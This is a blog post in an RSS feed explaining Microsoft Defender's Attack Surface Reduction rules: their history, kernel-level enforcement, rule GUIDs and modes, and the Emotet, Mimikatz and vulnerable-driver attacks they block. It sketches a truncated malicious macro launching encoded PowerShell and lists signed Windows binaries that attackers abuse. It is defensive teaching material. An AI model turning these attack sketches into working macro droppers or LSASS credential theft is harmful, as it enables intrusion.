<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: byovd</title><description>Posts tagged byovd.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:11 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/byovd/rss.xml" rel="self" type="application/rss+xml"/><item><title>Attack Surface Reduction Rules: The Quiet Layer That Stopped Office Macros</title><link>https://paragmali.com/blog/attack-surface-reduction-rules-the-quiet-layer-that-stopped-/</link><guid isPermaLink="true">https://paragmali.com/blog/attack-surface-reduction-rules-the-quiet-layer-that-stopped-/</guid><description>How Microsoft built a 19-rule, kernel-mediated behaviour block list inside Windows Defender that turned the Emotet macro chain into a one-row, no-ticket telemetry event.</description><pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Attack Surface Reduction (ASR) rules are Microsoft&apos;s nineteen-rule, kernel-mediated, free-with-Windows behaviour block list.** Each rule names a single edge in the runtime process / file-system / registry graph -- Office spawning child processes, scripts launching downloaded executables, processes opening LSASS, vulnerable signed drivers being written -- and refuses to let it happen. Shipping since Windows 10 1709 (October 2017) [@ms-security-blog-exploit-guard-2017], the rules killed the cheap end of the Office-macro initial-access chain at the enterprise tier; the Microsoft 365 Apps default block of internet-marked macros (February and July 2022) [@ms-techcommunity-internet-macros-2022] and Europol&apos;s Operation LadyBird (January 2021) [@europol-emotet-disrupted-wayback] finished the era at the consumer tier and the C2 tier respectively. The layer is incomplete by construction -- Cohen-1984 undecidability forbids a complete behaviour catalogue [@cohen-1984-part1] -- but it compresses attacker bypass cost so effectively that the SOC routinely does not triage the blocks. Every rule emits a rule-specific Advanced Hunting `ActionType` such as `AsrOfficeChildProcessBlocked`; the folk-knowledge generic `AsrRuleTriggered` does not exist [@ms-learn-asr-reference].
&lt;h2&gt;1. One Block, No Analyst Ticket&lt;/h2&gt;
&lt;p&gt;At 03:42 on a Tuesday morning in Frankfurt, a finance analyst opens an invoice attached to an email that looks like one she has answered fifty times before. The document&apos;s &lt;code&gt;Document_Open&lt;/code&gt; macro fires, the VBA calls &lt;code&gt;Shell(&quot;powershell.exe -enc ...&quot;)&lt;/code&gt;, and nothing happens. No PowerShell window. No second-stage download. No banking-trojan loader. No ransom note three weeks later. The only artefact is one row in Microsoft Defender for Endpoint&apos;s &lt;code&gt;DeviceEvents&lt;/code&gt; table, with &lt;code&gt;ActionType&lt;/code&gt; equal to &lt;code&gt;AsrOfficeChildProcessBlocked&lt;/code&gt;, that no analyst will triage because there is nothing left to triage [@ms-learn-asr-reference].&lt;/p&gt;
&lt;p&gt;That row, and the silence around it, is the entire subject of this article.&lt;/p&gt;
&lt;p&gt;To understand why nothing happened, watch the call in slow motion. &lt;code&gt;WINWORD.EXE&lt;/code&gt; is a long-running user-mode process. The macro&apos;s process-creation call crosses the syscall boundary into the kernel&apos;s process-management subsystem, where &lt;a href=&quot;https://paragmali.com/blog/the-defenders-dilemma-microsoft-antivirus/&quot; rel=&quot;noopener&quot;&gt;Microsoft Defender Antivirus&lt;/a&gt; has registered a process-creation notify routine. Defender&apos;s kernel-mode driver &lt;code&gt;WdFilter.sys&lt;/code&gt; -- registered with the Windows Filter Manager as a file-system minifilter AND with the kernel&apos;s process subsystem via &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; -- intercepts the event through its process-creation notify routine before the new process runs and hands it to the user-mode antivirus engine &lt;code&gt;MsMpEng.exe&lt;/code&gt;. (Section 5 walks the kernel/user-mode split in full.) &lt;code&gt;MsMpEng.exe&lt;/code&gt; evaluates the rule with GUID &lt;code&gt;D4F940AB-401B-4EFC-AADC-AD5F3C50688A&lt;/code&gt; -- &quot;Block all Office applications from creating child processes&quot; [@ms-learn-asr-reference]. The predicate evaluates true. The rule is set to Block. The minifilter fails the operation. The macro gets a non-zero error from its process-creation call. The spawn never happens.&lt;/p&gt;

A fixed catalogue of behavioural blocks shipped as a feature of Microsoft Defender Antivirus on Windows 10 1709 and later, Windows 11, and supported Windows Server editions. Each rule names a specific runtime behaviour -- &quot;Office applications creating child processes,&quot; &quot;credential stealing from the Windows local security authority subsystem,&quot; &quot;abuse of exploited vulnerable signed drivers&quot; -- and can be enabled in Audit, Warn, or Block mode through Microsoft Intune, Microsoft Configuration Manager, Group Policy, PowerShell, or the Defender for Endpoint portal. As of May 2026 the catalogue contains nineteen rules: three Standard protection rules and sixteen Other ASR rules [@ms-learn-asr-reference].
&lt;p&gt;Notice what the rule did not do. It did not classify the binary. Both &lt;code&gt;WINWORD.EXE&lt;/code&gt; and &lt;code&gt;powershell.exe&lt;/code&gt; are signed by Microsoft. Both have multi-decade Authenticode reputation. Both have appeared on every reasonable allow-list since Windows 7. A signature engine, asked &quot;is the macro malicious,&quot; would have had to read the macro&apos;s bytes, normalise its obfuscation, and decide whether the sequence of Office object-model calls plus a base64 blob constitutes hostile intent. That decision is hard in the easy cases and undecidable in general. The rule sidestepped the whole question. It classified the &lt;strong&gt;edge&lt;/strong&gt; between two perfectly legitimate signed binaries: &lt;code&gt;WINWORD.EXE&lt;/code&gt; becoming the parent of &lt;code&gt;powershell.exe&lt;/code&gt;. The bytes are not the predicate. The parent-child relationship is.&lt;/p&gt;
&lt;p&gt;The folklore that &quot;every ASR block emits &lt;code&gt;ActionType == &apos;AsrRuleTriggered&apos;&lt;/code&gt;&quot; survives in vendor playbooks and Stack Overflow answers but does not match Microsoft Learn&apos;s current rules reference, which enumerates a rule-specific &lt;code&gt;Asr&amp;lt;RuleName&amp;gt;Audited&lt;/code&gt; and &lt;code&gt;Asr&amp;lt;RuleName&amp;gt;Blocked&lt;/code&gt; pair for every rule except the server-only Webshell rule. The canonical Advanced Hunting filter is &lt;code&gt;where ActionType startswith &quot;Asr&quot;&lt;/code&gt;, not equality against a generic value [@ms-learn-asr-reference].&lt;/p&gt;
&lt;p&gt;The Frankfurt analyst&apos;s hypothetical Tuesday is one of millions. Defender Antivirus ships on every supported edition of Windows [@ms-learn-asr-reference]. The Office-child-process rule has been blockable since October 2017 [@ms-security-blog-exploit-guard-2017]. It is not the only ASR rule, and ASR is not the only layer that ended the Emotet macro era. Europol&apos;s January 27, 2021 takedown and the Microsoft 365 Apps default block of internet macros in February and July 2022 share the credit. But ASR is the layer with the deepest enforcement substrate (a kernel-mode minifilter), the fullest behavioural catalogue (nineteen rules naming specific runtime edges), and the simplest mental model for a defender: name a behaviour, ship an enforcement edge, audit, then block.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Signature engines classify nodes (is this binary malicious?). AppLocker classifies identities (is this binary on the allow-list?). ASR classifies edges in the runtime graph (did this specific parent-child invocation happen?). Section 5 builds the framework. The catalogue in Section 6 reads as nineteen named edges once you see it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The rest of the article walks the ten questions the Frankfurt block raises. If signatures cannot tell us whether the analyst&apos;s macro is malicious -- because both binaries are signed and the static fingerprint of the macro changes every campaign -- how exactly did one row in &lt;code&gt;DeviceEvents&lt;/code&gt; know to fire? What does the kernel see that the signature engine does not? Why did three predecessor paradigms (signatures, AppLocker, EMET) fail to close this specific gap, and what made October 2017 the moment Microsoft decided to ship a behaviour catalogue instead of a better classifier? Section 2 starts with the empirical signal that forced the shift.&lt;/p&gt;
&lt;h2&gt;2. Why Signatures Stopped Being Enough&lt;/h2&gt;
&lt;p&gt;By the time Microsoft published the October 23, 2017 Windows Defender Exploit Guard launch announcement, the team had a single sentence ready for the executive summary: &quot;fileless attacks, which compose over 50% of all threats&quot; [@ms-security-blog-exploit-guard-2017]. That line did two jobs. It justified shipping ASR. It also marked the moment the signature model hit its industrial-scale ceiling.&lt;/p&gt;

Despite advances in antivirus detection capabilities, attackers are continuously adapting ... This emerging trend of fileless attacks, which compose over 50% of all threats, are extremely dangerous, constantly changing, and designed to evade traditional AV. -- Microsoft Threat Intelligence team, October 23, 2017 [@ms-security-blog-exploit-guard-2017]
&lt;p&gt;The 50-percent number is a 2017-vintage Microsoft characterisation, not a peer-reviewed empirical study, but it captures a structural shift that every endpoint-defence vendor had been watching for three years. Three forces had converged.&lt;/p&gt;
&lt;p&gt;First, mature crypters and packers had defeated static signatures. The classic AV pipeline -- compute a hash, match against a corpus of known-bad hashes -- assumed attackers shipped a small number of stable binaries. By 2017 the typical commodity malware family rebuilt its payload on every campaign, layered three encryption stages, and emerged as a polymorphic blob whose static fingerprint changed faster than the signature feed. Fred Cohen had warned in 1984 that any complete malicious-program detector reduces to the Halting Problem [@cohen-1984-part1]; commodity packers were the industrial-scale form of that result.&lt;/p&gt;
&lt;p&gt;Second, attackers had moved off custom binaries entirely. The Living-Off-the-Land Binaries, Scripts, and Libraries project -- LOLBAS -- catalogues over two hundred Microsoft-signed Windows binaries that attackers use to execute malicious behaviour without dropping any malware artefact on disk [@lolbas-project]. &lt;code&gt;powershell.exe&lt;/code&gt;, &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;cmstp.exe&lt;/code&gt;, &lt;code&gt;msdt.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt; -- all signed by Microsoft, all on every reasonable allow-list, all capable of executing arbitrary code given the right command line. The on-disk artefact is benign; the malice lives in the runtime edge between two signed binaries.&lt;/p&gt;

A signed Microsoft Windows binary that attackers use to execute malicious behaviour while staying off identity-based allow-lists. The LOLBAS Project enumerates over two hundred such binaries together with the abuse classes each enables and the MITRE ATT&amp;amp;CK techniques each maps to [@lolbas-project].
&lt;p&gt;Third, Office macros had become the dominant initial-access vector. Emotet first appeared as a banking trojan in June 2014; by 2017 it had transformed into a crime-as-a-service loader platform that delivered TrickBot, Dridex, IcedID, and eventually Conti and Ryuk to its access buyers [@welivesecurity-emotet-pivot-2022]. The delivery vehicle barely changed across that pivot: a Word or Excel document, a Visual Basic for Applications macro, a call into &lt;code&gt;Shell&lt;/code&gt;, &lt;code&gt;WScript.Shell.Run&lt;/code&gt;, or the Windows Management Instrumentation provider to spawn the next stage. The malice was never inside &lt;code&gt;WINWORD.EXE&lt;/code&gt;. The malice was in the edge that connected &lt;code&gt;WINWORD.EXE&lt;/code&gt; to whichever signed Microsoft binary the operator decided to spawn.&lt;/p&gt;

The NTFS alternate data stream `Zone.Identifier` written by browsers, mail clients, and archive extractors to flag a file as originating from outside the local machine. Office uses the MOTW to drop a downloaded document into Protected View; the February 2022 Microsoft 365 Apps internet-macro default block treats the MOTW as the trigger to remove the &quot;Enable Content&quot; button entirely [@ms-learn-internet-macros-blocked].
&lt;p&gt;The pre-2017 defence stack covered slices of this problem, but no layer covered the specific behaviour class &quot;an Office application creates a child process.&quot; AV signatures and heuristics scored the binaries; both were signed Microsoft binaries. AppLocker (2009) decided whether a binary was allowed to run; both were on the allow-list. EMET (2009) blocked memory-corruption exploit primitives; the macro chain involved no memory corruption. Reputation-based file blocking covered downloaded payloads; the payload was a base64 string passed on the PowerShell command line, never written to disk. Each layer answered a different question. None answered the question the macro chain raised.&lt;/p&gt;
&lt;p&gt;The strategic shift Microsoft eventually made was small in the framing and enormous in the consequences. Instead of asking &quot;is this binary malicious?&quot; -- a question undecidable in general -- the next layer would ask &quot;did the suspicious behaviour happen?&quot; The new question is decidable per event at the OS interception layer, because the kernel sees every process-creation call, every image load, every file write, every registry set. Edge classification does not require static analysis; it requires only that the kernel be wired to ask one extra predicate before completing the operation.&lt;/p&gt;
&lt;p&gt;The named author at the bottom of the 2017 launch post body (fetched 2026-05-26) is &lt;strong&gt;Misha Kutsovsky (@mkutsovsky), Program Manager, Windows Active Defense&lt;/strong&gt;. The top-of-page byline and &lt;code&gt;&amp;lt;meta name=&quot;author&quot;&amp;gt;&lt;/code&gt; tag have since been consolidated under the &quot;Microsoft Threat Intelligence&quot; institutional account during Microsoft&apos;s 2022-2025 re-platforming of older Security Blog posts; the in-body attribution is unchanged. This article cites the institutional author as it appears in the page head; the named person at the bottom of the body is Kutsovsky [@ms-security-blog-exploit-guard-2017].&lt;/p&gt;
&lt;p&gt;One taxonomy point deserves its own paragraph, because confusion about it shapes most beginner questions about ASR. &lt;strong&gt;Microsoft Defender Antivirus&lt;/strong&gt; is the on-host scanning engine that ships free with every Windows edition. &lt;strong&gt;Microsoft Defender for Endpoint (MDE)&lt;/strong&gt; is the cloud-managed EDR layer Microsoft sells on top. ASR rules live inside Defender Antivirus. They run whether or not the device is enrolled in MDE. MDE adds management, telemetry ingestion through the &lt;code&gt;DeviceEvents&lt;/code&gt; table, and Advanced Hunting; it does not add the enforcement. The Frankfurt block fires in Defender Antivirus; the &lt;code&gt;DeviceEvents&lt;/code&gt; row only reaches MDE if MDE is connected. The EDR-in-block-mode page is explicit on the dependency: ASR rules run only when Defender Antivirus is in Active mode, never when a third-party AV is primary and Defender is passive [@ms-learn-edr-in-block-mode].&lt;/p&gt;
&lt;p&gt;By 2014-2015 the Microsoft Defender team had identified the problem. They did not invent the answer from scratch. They inherited a Windows defence stack that had been trying to solve the same problem for sixteen years, in three earlier paradigms. What were they, and why did none of them stop Emotet?&lt;/p&gt;
&lt;h2&gt;3. AppLocker, EMET, and What They Could Not Do&lt;/h2&gt;
&lt;p&gt;Three predecessor paradigms. Three different failures. Three different lessons that Microsoft eventually folded into the design of ASR.&lt;/p&gt;
&lt;h3&gt;AppLocker (2009, Windows 7)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;AppLocker&lt;/a&gt; was the identity-based answer to the question &quot;which binaries are allowed to run on this endpoint?&quot; Administrators write rules that allow or deny executable code by publisher, by path, or by file hash; the kernel enforces the policy at process-creation time. Microsoft Learn still describes AppLocker as the Windows 7-era predecessor to App Control for Business, and the design has not changed structurally in the intervening sixteen years [@ms-learn-applocker]. AppLocker is genuinely stricter than ASR on the identity axis. A well-tuned AppLocker policy on a hardened endpoint enforces default-deny: only allowed publishers, only allowed paths, only allowed hashes ever execute.&lt;/p&gt;
&lt;p&gt;AppLocker has two practical weaknesses and one structural one. The first practical weakness is brittleness against signed LOLBins: &lt;code&gt;powershell.exe&lt;/code&gt;, &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;cmstp.exe&lt;/code&gt;, &lt;code&gt;msdt.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt; are all on every reasonable AppLocker allow-list because every legitimate IT-automation pipeline depends on them [@lolbas-project]. The second is admin-deployment overhead: every new line-of-business application needs an explicit rule addition, large estates fall back to Audit mode permanently, and exception sprawl turns the policy into a sieve.&lt;/p&gt;
&lt;p&gt;The structural weakness is the one that matters here. The AppLocker rule grammar has no slot for &quot;&lt;code&gt;WINWORD.EXE&lt;/code&gt; may run, but it may not be the parent of &lt;code&gt;cmd.exe&lt;/code&gt;.&quot; That sentence is a property of an edge in the runtime graph, and the AppLocker schema models nodes, not edges.&lt;/p&gt;
&lt;h3&gt;EMET (2009-2018)&lt;/h3&gt;
&lt;p&gt;The Enhanced Mitigation Experience Toolkit was Microsoft&apos;s per-process opt-in exploit-time mitigation framework. Data Execution Prevention, Address Space Layout Randomization, Structured Exception Handler Overwrite Protection, the Export Address Table Access Filter, anti-Return-Oriented-Programming heuristics, caller-checks, heap-spray pre-allocation -- EMET stitched the menu together for any process the administrator opted in. EMET stopped buffer overflows from achieving code execution. It made the cheap exploit-development pipeline visibly more expensive.&lt;/p&gt;
&lt;p&gt;EMET did not stop the Emotet macro chain. The chain involved no memory corruption. The chain was a legitimately loaded, uncorrupted, signed Office application making a perfectly ordinary user-mode parent-child process-creation call. There was no exploit primitive to mitigate. The 2017 Exploit Guard launch announcement said the same in cleaner language: &lt;a href=&quot;https://paragmali.com/blog/process-mitigation-policies-cfg-acg-cig-and-the-layer-betwee/&quot; rel=&quot;noopener&quot;&gt;Exploit Protection&lt;/a&gt; (the Windows-integrated pillar that absorbed EMET&apos;s mitigations) and Attack Surface Reduction (the new pillar) cover different gaps, because exploit-time mitigations and post-exploit behaviour blocks address different attacker stages [@ms-security-blog-exploit-guard-2017]. EMET reached end-of-life on July 31, 2018 per the Microsoft product lifecycle page [@ms-lifecycle-emet]; its mitigations live on under different names in the Exploit Protection panel of Windows Security.&lt;/p&gt;
&lt;h3&gt;Signature and heuristic AV&lt;/h3&gt;
&lt;p&gt;The third predecessor is the one Cohen&apos;s 1984 paper had already analysed. Signature and heuristic AV classify nodes, which is to say they answer &quot;is this binary, considered as a sequence of bytes, malicious?&quot; Cohen proved that the general form of that question reduces to the Halting Problem. The verbatim sentence from his open-access archive is the cleanest one-line statement of the result [@cohen-1984-part1]:&lt;/p&gt;

The classical result, established in Fred Cohen&apos;s 1984 paper &quot;Computer Viruses: Theory and Experiments&quot; (presented at the 7th DoD/NBS Computer Security Conference and reprinted in Computers and Security 6(1):22-35 in January 1987), that detection of arbitrary viral behaviour in a program reduces to the Halting Problem. The diagonal construction assumes a decider `D(P)` for viral behaviour; constructs a program `V` that calls `D(V)` and behaves virally iff `D(V) = 0`; derives a contradiction. The corollary -- any non-trivial semantic property of programs is undecidable -- is the Rice-1953 generalisation [@cohen-1984-part1].
&lt;p&gt;The practical version of the ceiling for the Emotet case is that a signature engine cannot, in general, distinguish a Word macro that legitimately spawns &lt;code&gt;cmd.exe&lt;/code&gt; to run an IT-automation script from a Word macro that spawns &lt;code&gt;cmd.exe&lt;/code&gt; to launch the Emotet stage-two PowerShell stub. Both call the same Win32 API. Both pass argument strings the engine cannot prove are malicious without modelling the operator&apos;s intent. The fingerprint of the malice is not in the binaries; it is in the runtime relationship between them.&lt;/p&gt;

The three paradigms -- signature, identity, edge -- are not redundant. Modern defence-in-depth runs all three because each closes a different attacker option. Signatures detect known-bad binaries cheaply; identity controls restrict which binaries may run at all; edge classification refuses specific behavioural relationships among allowed binaries. AppLocker without ASR lets `WINWORD` spawn PowerShell. ASR without AppLocker permits any unsigned binary to ship with the next campaign. Neither alone covers the gap. Section 7 makes the layering explicit as a comparison matrix.
&lt;p&gt;The three together demonstrate that the Windows endpoint defence stack of 2017 was structurally node-classifying or identity-classifying, with no layer modelling the runtime edge. The strategic gap is the slot ASR was designed to fill.&lt;/p&gt;
&lt;p&gt;On October 17, 2017, Microsoft shipped Windows 10 Fall Creators Update (build 1709) [@windows-blog-fall-creators-update-2017]. Six days later, the Microsoft Security Blog named the new pillar: Attack Surface Reduction [@ms-security-blog-exploit-guard-2017]. What did the first eight rules do, and how did they finally model the edge that AppLocker, EMET, and signatures could not?&lt;/p&gt;
&lt;h2&gt;4. The Evolution, Generation by Generation&lt;/h2&gt;
&lt;p&gt;October 23, 2017. The Microsoft Security Blog publishes &quot;Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware&quot; [@ms-security-blog-exploit-guard-2017]. The post names four pillars: Attack Surface Reduction, Network Protection, Controlled Folder Access, and Exploit Protection. The first pillar ships with eight rules. Nine years later the catalogue is nineteen rules wide. Each generation closed a specific attacker behaviour; each generation produced a published bypass within months.&lt;/p&gt;

flowchart TD
    G1[&quot;Gen 1 - Oct 2017 (1709) - 8 Office, script, email rules&quot;]
    G2[&quot;Gen 2 - 2018-2019 (1803-1903) - LSASS, PSExec/WMI, prevalence, Adobe, WMI persistence&quot;]
    G3[&quot;Gen 3 - Apr 2020 - Warn mode added, platform 4.18.2008.9&quot;]
    G4a[&quot;Gen 4a - Dec 2021 / 2022 - BYOVD rule, Vulnerable Driver Reporting Center&quot;]
    G4b[&quot;Gen 4b - Feb/Jul 2022 - Parallel layer, M365 Apps internet-macro default block&quot;]
    G5[&quot;Gen 5 - 2023-2026 - Standard protection partition, Webshell, Safe Mode reboot, copied tools, USB, Outlook child-process rules&quot;]
    G1 --&amp;gt; G2 --&amp;gt; G3 --&amp;gt; G4a --&amp;gt; G4b --&amp;gt; G5
&lt;h3&gt;Generation 1, October 2017 -- the eight launch rules&lt;/h3&gt;
&lt;p&gt;The launch rules, as listed verbatim in the 2017 announcement, are the Office-macro response pack [@ms-security-blog-exploit-guard-2017]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Block Office applications from creating executable content&lt;/li&gt;
&lt;li&gt;Block Office applications from launching child processes&lt;/li&gt;
&lt;li&gt;Block Office applications from injecting into other processes&lt;/li&gt;
&lt;li&gt;Block Win32 imports from macro code in Office&lt;/li&gt;
&lt;li&gt;Block obfuscated macro code (and other obfuscated scripts, AMSI-backed)&lt;/li&gt;
&lt;li&gt;Block JavaScript or VBScript from launching downloaded executable content&lt;/li&gt;
&lt;li&gt;Block execution of executable content dropped from email or webmail&lt;/li&gt;
&lt;li&gt;Block malicious JavaScript and VBScript scripts (AMSI-backed)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of these rules solves a node-classification problem. Each rule names a single edge in the runtime process / file-system / registry graph and refuses to let it happen. &quot;Block Office applications from creating child processes&quot; is not &quot;is &lt;code&gt;WINWORD.EXE&lt;/code&gt; malicious?&quot; but &quot;did &lt;code&gt;WINWORD.EXE&lt;/code&gt; just try to be the parent of another process?&quot; The kernel answers the question with one comparison against the parent image path.&lt;/p&gt;
&lt;h3&gt;Generation 2, 2018-2019 -- credential theft, lateral movement, persistence&lt;/h3&gt;
&lt;p&gt;Between Windows 10 1803 (April 2018) and 1903 (May 2019) the catalogue expanded beyond Office to the rest of the attacker intrusion chain. Six new rules with their GUIDs, from the Microsoft Learn rules reference [@ms-learn-asr-reference]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Block credential stealing from the Windows local security authority subsystem&lt;/strong&gt; -- &lt;code&gt;9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2&lt;/code&gt; -- introduced 1803. The &lt;a href=&quot;https://paragmali.com/blog/protected-process-light-when-the-administrator-isnt-enough/&quot; rel=&quot;noopener&quot;&gt;Mimikatz&lt;/a&gt; response: refuse process handles to &lt;code&gt;lsass.exe&lt;/code&gt; with rights sufficient to read its address space.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block executable files from running unless they meet a prevalence, age, or trusted list criterion&lt;/strong&gt; -- &lt;code&gt;01443614-cd74-433a-b99e-2ecdc07bfc25&lt;/code&gt; -- 1803. The unique-binary-per-campaign response, leaning on cloud-protection (MAPS) reputation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block process creations originating from PSExec and WMI commands&lt;/strong&gt; -- &lt;code&gt;d1e49aac-8f56-4280-b9ba-993a6d77406c&lt;/code&gt; -- 1803. The Emotet lateral-movement response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use advanced protection against ransomware&lt;/strong&gt; -- &lt;code&gt;c1db55ab-c21a-4637-bb3f-a12568109d35&lt;/code&gt; -- 1803. The mass-encryption-detection response, also cloud-protection-dependent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block Adobe Reader from creating child processes&lt;/strong&gt; -- &lt;code&gt;7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c&lt;/code&gt; -- 1809. The PDF-exploit-spawning-payload response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block persistence through WMI event subscription&lt;/strong&gt; -- &lt;code&gt;e6db77e5-3df2-4cf1-b95a-636979351e5b&lt;/code&gt; -- 1903. The APT29 / Cobalt Strike &lt;code&gt;__FilterToConsumerBinding&lt;/code&gt; response.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each rule is a direct response to a specific attacker move. The LSASS rule answers Mimikatz. The PSExec/WMI rule answers Emotet&apos;s lateral movement. The WMI persistence rule answers permanent-implant techniques that survive reboot through the WMI repository.&lt;/p&gt;
&lt;p&gt;The PSExec/WMI rule (&lt;code&gt;d1e49aac-...&lt;/code&gt;) is the textbook example of an ASR rule with high enterprise friction. Microsoft Configuration Manager (formerly SCCM) relies heavily on WMI; Microsoft Learn&apos;s overview page explicitly tells administrators not to set this rule to Block or Warn without extensive Audit-mode testing if Configuration Manager manages the device, &quot;because the Configuration Manager client relies heavily on WMI&quot; [@ms-learn-asr-overview]. Most large estates therefore run this rule in Audit indefinitely.&lt;/p&gt;
&lt;h3&gt;Generation 3, April 2020 -- Warn mode&lt;/h3&gt;
&lt;p&gt;Until 2020, the only choices for an ASR rule were Audit (logs only) and Block (the operation fails). The middle ground was a productivity problem: a power user whose legitimate IT-automation macro was being blocked had no recourse short of a help-desk ticket. The Microsoft Defender team&apos;s &quot;Demystifying attack surface reduction rules - Part 1&quot; Tech Community post, modified time April 22, 2020, announced the third mode -- Warn -- with a user-facing block dialog and a 24-hour per-user per-rule per-app exclusion cache [@techcommunity-demystifying-asr-part1].&lt;/p&gt;
&lt;p&gt;Two precision facts deserve to be stated cleanly, because both contradict secondary-source folklore.&lt;/p&gt;
&lt;p&gt;First, the platform prerequisite for Warn mode is Microsoft Defender Antivirus platform release &lt;strong&gt;4.18.2008.9 (August 2020) or later, engine release 1.1.17400.5 or later&lt;/strong&gt; [@ms-learn-asr-overview]. The older secondary-blog claim of &quot;4.18.2001.10 / January 2020&quot; is contradicted by Microsoft Learn&apos;s current canonical page and should not be repeated.&lt;/p&gt;
&lt;p&gt;Second, exactly &lt;strong&gt;two&lt;/strong&gt; ASR rules deliberately skip Warn mode and go straight from Audit to Block, not five. Microsoft Learn&apos;s overview page lists them verbatim: &quot;Block credential stealing from the Windows local security authority subsystem&quot; and &quot;Block Office applications from injecting code into other processes&quot; [@ms-learn-asr-overview]. The folklore that lists five no-Warn rules (sometimes including the Webshell rule, the Safe Mode reboot rule, and the copied-tools rule) is wrong. The rules reference page enumerates Warn-mode bypass &lt;code&gt;ActionType&lt;/code&gt; variants for the Safe Mode reboot rule (&lt;code&gt;AsrSafeModeRebootWarnBypassed&lt;/code&gt;) and the copied-tools rule (&lt;code&gt;AsrAbusedSystemToolWarnBypassed&lt;/code&gt;) -- direct byte-level proof that those rules do support Warn [@ms-learn-asr-reference].&lt;/p&gt;

flowchart LR
    A[&quot;Audit - Log only, no enforcement&quot;] --&amp;gt; W[&quot;Warn - User can bypass for 24h&quot;]
    W --&amp;gt; B[&quot;Block - Operation fails&quot;]
    A2[&quot;LSASS rule and Office injection rule&quot;] --&amp;gt; A
    A2 --&amp;gt; B
&lt;p&gt;The reason these two rules skip Warn is structural, not cosmetic. A low-privilege user cannot meaningfully consent to a process opening LSASS memory; the consent dialog would itself be a credential-theft enabler. Likewise, a non-admin user cannot rationally decide whether &lt;code&gt;WINWORD.EXE&lt;/code&gt; should be allowed to inject shellcode into &lt;code&gt;explorer.exe&lt;/code&gt;; the request encodes its own malice. The remaining sixteen rules support the full Audit, Warn, Block ladder.&lt;/p&gt;
&lt;h3&gt;Generation 4a, December 2021 -- the BYOVD rule&lt;/h3&gt;
&lt;p&gt;The 2020-2022 era brought a new attacker move into mainstream incident response: Bring Your Own Vulnerable Driver, or BYOVD. The attacker imports a legitimate, signed, but vulnerable kernel driver, exploits its bug to gain kernel-mode primitives, uses those primitives to disable EDR and antivirus monitoring, and proceeds.&lt;/p&gt;
&lt;p&gt;The 2021 motivating events made the threat unambiguous. Lazarus&apos;s autumn-2021 abuse of CVE-2021-21551 (Dell &lt;code&gt;dbutil_2_3.sys&lt;/code&gt;) was the first recorded in-the-wild abuse of that driver, disclosed by ESET on September 30, 2022 [@welivesecurity-lazarus-byovd-2022] [@nvd-cve-2021-21551]. BlackByte&apos;s October 2022 abuse of CVE-2019-16098 (MSI Afterburner &lt;code&gt;RTCore64.sys&lt;/code&gt;) was documented by Sophos with one of the year&apos;s defining lines: &quot;disabling a whopping list of over 1,000 drivers on which security products rely to provide protection&quot; [@sophos-blackbyte-returns-2022] [@nvd-cve-2019-16098].&lt;/p&gt;

An attack pattern in which the operator imports a signed but exploitable kernel driver into the victim environment, exploits a known driver vulnerability to obtain kernel-mode primitives (typically arbitrary memory read or write), and uses those primitives to disable security telemetry. CVE-2021-21551 (Dell DBUtil) and CVE-2019-16098 (MSI Afterburner) are the canonical examples; the Sophos write-up of BlackByte&apos;s RTCore64.sys abuse documents disabling roughly one thousand security-product drivers [@nvd-cve-2021-21551] [@nvd-cve-2019-16098] [@sophos-blackbyte-returns-2022].
&lt;p&gt;Microsoft launched the Vulnerable and Malicious Driver Reporting Center on December 8, 2021, explicitly naming the new ASR rule as the enforcement layer alongside the kernel-load-time &lt;a href=&quot;https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/&quot; rel=&quot;noopener&quot;&gt;Vulnerable Driver Blocklist&lt;/a&gt; [@ms-security-blog-vulnerable-driver-center]. The ASR rule is &quot;Block abuse of exploited vulnerable signed drivers (Device)&quot; -- GUID &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt; [@ms-learn-asr-reference]. The Windows 11 22H2 release on September 20, 2022 [@windows-blog-windows-11-2022-update] made the Microsoft Vulnerable Driver Blocklist default-on for all devices, which is the kernel-load-time sibling to the ASR write-time block [@ms-learn-driver-block-rules].&lt;/p&gt;
&lt;h3&gt;Generation 4b, February and July 2022 -- the parallel layer&lt;/h3&gt;
